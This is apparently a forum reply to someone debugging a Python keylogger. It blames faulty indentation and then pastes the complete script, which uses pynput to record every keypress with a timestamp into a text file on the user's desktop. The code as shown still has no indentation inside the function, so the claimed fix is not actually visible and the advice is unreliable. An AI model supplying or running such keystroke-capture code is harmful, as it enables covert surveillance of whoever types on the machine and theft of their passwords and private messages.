Hi,
You used one function in your code, but you didn't indent your code inside this function properly. This may be the reason.
from pynput.keyboard import Key, Listener
import logging
log_dir = r"C:/users/rajesh/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()